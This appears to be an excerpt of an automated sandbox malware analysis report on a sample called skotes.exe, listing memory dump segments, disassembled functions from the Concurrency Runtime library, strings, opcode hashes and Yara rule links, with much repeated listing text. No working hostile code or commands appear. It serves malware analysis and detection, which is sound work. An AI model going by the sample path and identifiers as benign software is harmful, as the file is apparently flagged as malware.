Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6{$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1176861032
Opcode ID: 67788a3fd2fa5949ef2b953ce33b395143e21b701e425e12dc4d0e9da9a7b6a4
Instruction ID: ae0c0dcfbbf157f7f69af28a6b558a246daf1c588a3ccafbf5aad8107b3cf2fc
Opcode Fuzzy Hash: 67788a3fd2fa5949ef2b953ce33b395143e21b701e425e12dc4d0e9da9a7b6a4
Instruction Fuzzy Hash: 62219A71604209AF9B30BE759C84FEB77ADAF403647208614F92996252EBB8EC1087B1

Function 007AAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 007AAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007AAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 007AAF4E

Strings

pExecutionResource, xrefs: 007AAF07

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: c2a10eabdfc0876d7ddd434625db07947a056fab69e436c3fa71a598b0bb948d
Instruction ID: 824125647571bb127d4e16e2eaf7fd578027961243c435145079791aa2967e60
Opcode Fuzzy Hash: c2a10eabdfc0876d7ddd434625db07947a056fab69e436c3fa71a598b0bb948d
Instruction Fuzzy Hash: 8121A7B1641205EBCF18EF54C856BADB7B5BF88310F10402DF505AB282DBB8AE04CB95

Function 007A4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 007A4F66

Strings

count, xrefs: 007A4EBA
ppVirtualProcessorRoots, xrefs: 007A4F1C

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: c9e8c3ab21990e3d8c07b78b5fbbf911312c6aa15f684d6e1c0e5180a45064ac
Instruction ID: 2435d7b70fd3f79248dbe165fb8558ce63d90eb46041c3e646cc3ceb3ca04021
Opcode Fuzzy Hash: c9e8c3ab21990e3d8c07b78b5fbbf911312c6aa15f684d6e1c0e5180a45064ac
Instruction Fuzzy Hash: 7821F535600115EFCF14EF98C895EAD77B5FF89310F00412AF5069B692DB7AAE01CB91

Function 007AB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007ABA0E

Strings

combase.dll, xrefs: 007AB983, 007AB988, 007AB99D, 007AB9C8
RoInitialize, xrefs: 007AB998
RoUninitialize, xrefs: 007AB9C1

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 869bf47546546066b23949d8a051e082a9daaa3c971faee797a504280ac13aae
Instruction ID: b97db1f854bc3ec8f5d6aa1796beb9f09e47d5599920dbe6aff620816512e4c7
Opcode Fuzzy Hash: 869bf47546546066b23949d8a051e082a9daaa3c971faee797a504280ac13aae
Instruction Fuzzy Hash: 4E01F5B4A82355AEDB10B7755C0DFAF36AC9F43304F205929A541EA183EFBDD40087B5

Function 007A6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 007A6E73

Part of subcall function 007A4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 007A4E7F
Part of subcall function 007A4E6E: List.LIBCMT ref: 007A4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007A6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007A6EAA

Strings

eventObject, xrefs: 007A6E7D

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 3ba6f6c0d562e2f2244a3386d6dfceb59fdc520a93574772637055bda163882b
Instruction ID: c89c8ef63ec2858aad2d4e523cfb7d4204136409fec67339bc1a9d75a1fa82b2
Opcode Fuzzy Hash: 3ba6f6c0d562e2f2244a3386d6dfceb59fdc520a93574772637055bda163882b
Instruction Fuzzy Hash: 74110875644214F7DB24FBA4CC4EFEE73786F45340F244255B505A61C1EB789A04C676

Function 007AA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 007AA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 007AA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007AA139

Strings

pScheduler, xrefs: 007AA131

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
